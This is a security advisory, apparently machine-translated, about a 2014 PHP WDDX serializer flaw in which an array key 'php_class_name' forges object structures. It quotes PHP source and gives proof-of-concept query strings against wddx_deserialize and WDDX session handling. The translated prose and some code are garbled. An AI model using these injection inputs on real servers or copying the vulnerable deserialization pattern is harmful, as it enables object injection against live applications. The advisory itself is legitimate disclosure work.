PHP WDDX Serializier Data Injection Vulnerability-vulnerability warning-the black bar safety net

2014-11-17T00:00:00
ID MYHACK58:62201455938
Type myhack58
Reporter 佚名
Modified 2014-11-17T00:00:00

Description

PHP WDDX Serializier Data Injection Vulnerability

Taoguang Chen <@chtg> - 2014.11.2

>PHP in the array is serialized into a WDDX structure of the process, there is no array key name strictly limited, can lead to falsification of the object WDDX structure.

i serialize the object

PHP in the object is serialized into a WDDX structure, it will do the following processing:

static void php_wddx_serialize_object(wddx_packet *packet, zval *obj) ... php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR); php_wddx_add_chunk(packet, tmp_buf); php_wddx_add_chunk_static(packet, WDDX_STRING_S); php_wddx_add_chunk_ex(packet, class_name-&gt;val, class_name-&gt;len); php_wddx_add_chunk_static(packet, WDDX_STRING_E); php_wddx_add_chunk_static(packet, WDDX_VAR_E); }

For example, the following code in the variable $obj: the

`` class ryat { var $hi; function wakeup() { echo 'hi'; } function destruct() { echo $this->hi, "\n"; } }

$obj = new ryat(); $obj->hi = 'ryat';

var_dump(wddx_serialize_value($obj)); ``

After the wddx_serialize_value() function to serialize the WDDX structure is as follows:

&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;var name='hi'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;

ii serialized array

PHP array serialized into a WDDX structure, it will do the following processing:

`` static void php_wddx_serialize_array(wddx_packet packet, zval arr) { ... target_hash = HASH_OF(arr); ZEND_HASH_FOREACH_KEY(target_hash, idx, key) { if (key) { is_struct = 1; break; }

if (idx != ind) { is_struct = 1; break; } ind++; } ZEND_HASH_FOREACH_END();

if (is_struct) { php_wddx_add_chunk_static(packet, WDDX_STRUCT_S); } else { snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash)); php_wddx_add_chunk(packet, tmp_buf); }

ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) { if (ent == arr) { continue; }

if (is_struct) { if (key) { php_wddx_serialize_var(packet, ent, key TSRMLS_CC); } else { key = zend_long_to_str(idx); php_wddx_serialize_var(packet, ent, key TSRMLS_CC); zend_string_release(key); } } else { php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC); } } ZEND_HASH_FOREACH_END();

if (is_struct) { php_wddx_add_chunk_static(packet, WDDX_STRUCT_E); } else { php_wddx_add_chunk_static(packet, WDDX_ARRAY_E); } } ... void php_wddx_serialize_var(wddx_packet packet, zval var, zend_string name TSRMLS_DC) { ... if (name) { char tmp_buf; zend_string *name_esc;

name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC); tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S)); snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val); php_wddx_add_chunk(packet, tmp_buf); efree(tmp_buf); zend_string_release(name_esc); } ``

From the above code you can see, the array is serialized WDDX structure is mainly divided into two kinds, one kind is not specified, the key name of array processing, such as the following code in the variable $arr: the

`` $arr = array('hi', 'ryat');

var_dump(wddx_serialize_value($arr)); ``

After the wddx_serialize_value() function to serialize the WDDX structure is as follows:

&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;array length='2'&gt;&lt;string&gt;hi&lt;/string&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/array&gt;&lt;/data&gt;&lt;/wddxPacket&gt;

Another is to specify the key name of array processing, such as the following code in the variable $arr: the

`` $arr = array('hi'=>'hi', 'ryat'=>'ryat');

var_dump(wddx_serialize_value($arr)); ``

After the wddx_serialize_value() function to serialize the WDDX structure is as follows:

&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='hi'&gt;&lt;string&gt;hi&lt;/string&gt;&lt;/var&gt;&lt;var name='ryat'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;

iii forged object WDDX structure

Through the above analysis, simple to understand WDDX structure stored in PHP arrays and object-specific format, the object storage format, and specify the key name of the array storage format is very close, only difference is that, the object storage format for the class name of the store:&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;

PHP in the array is serialized WDDX structure of the process, just call the php_escape_html_entities() function processing, and then directly construct WDDX_VAR_S: the

``

define WDDX_VAR_S "<var name='%s'>"

``

So if in the array there is a value for php_class_name the key name, you can construct:

&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;

In this case the serialized WDDX the structure and object of the same, as in the following code The variable $arr: the

`` $arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');

var_dump(wddx_serialize_value($arr)); ``

After the wddx_serialize_value() function to serialize the WDDX structure is as follows:

&lt;wddxPacket version='1.0'&gt;&lt;header/&gt;&lt;data&gt;&lt;struct&gt;&lt;var name='php_class_name'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;var name='hi'&gt;&lt;string&gt;ryat&lt;/string&gt;&lt;/var&gt;&lt;/struct&gt;&lt;/data&gt;&lt;/wddxPacket&gt;

You can see, the serialized WDDX structure and the first example of the $obj object to serialize the WDDX structure is the same, that is to say, by a special array falsification an object of the WDDX structure:)

iv security risks

PHP deserialize the WDDX structure of the process is similar to the unserialize() function, by the specific WDDX structure is deserialized, you can generate an object, and the implementation of the class __wakeup() method, if one exists, in the object is destroyed or a script executed at the end of the implementation of the class __destruct() method if it exists, then the security risks attendant. And than unserialize() function is more dangerous is that the deserialization and serialization process there may be security issues:)

i) the use of the wddx_deserialize() function

`` class ryat { var $hi; function wakeup() { echo 'hi'; } function destruct() { echo $this->hi, "\n"; } }

wddx_deserialize(wddx_serialize_value($_GET['arr']); ``

By the following manner, can be executed successfully __wakeup() method, and __destruct() method:)

? arr[php_class_name]=ryat&arr[hi]=ryat

ii) the use of $_SESSION is serialized and deserialized

PHP in the store and read $_SESSION when the data is serialized and deserialized by default with the serialize() function and unserialize() function processed in the same manner, but PHP provides a session. serialize_handler configuration options, you can use the WDDX format to serialize and deserialize:)

`` ini_set('session. serialize_handler', 'wddx'); session_start();

$_SESSION['arr'] = $_GET['arr']; ``

By the following way, it can be forged into objects of the WDDX structure:)

? arr[php_class_name]=ryat&arr[hi]=ryat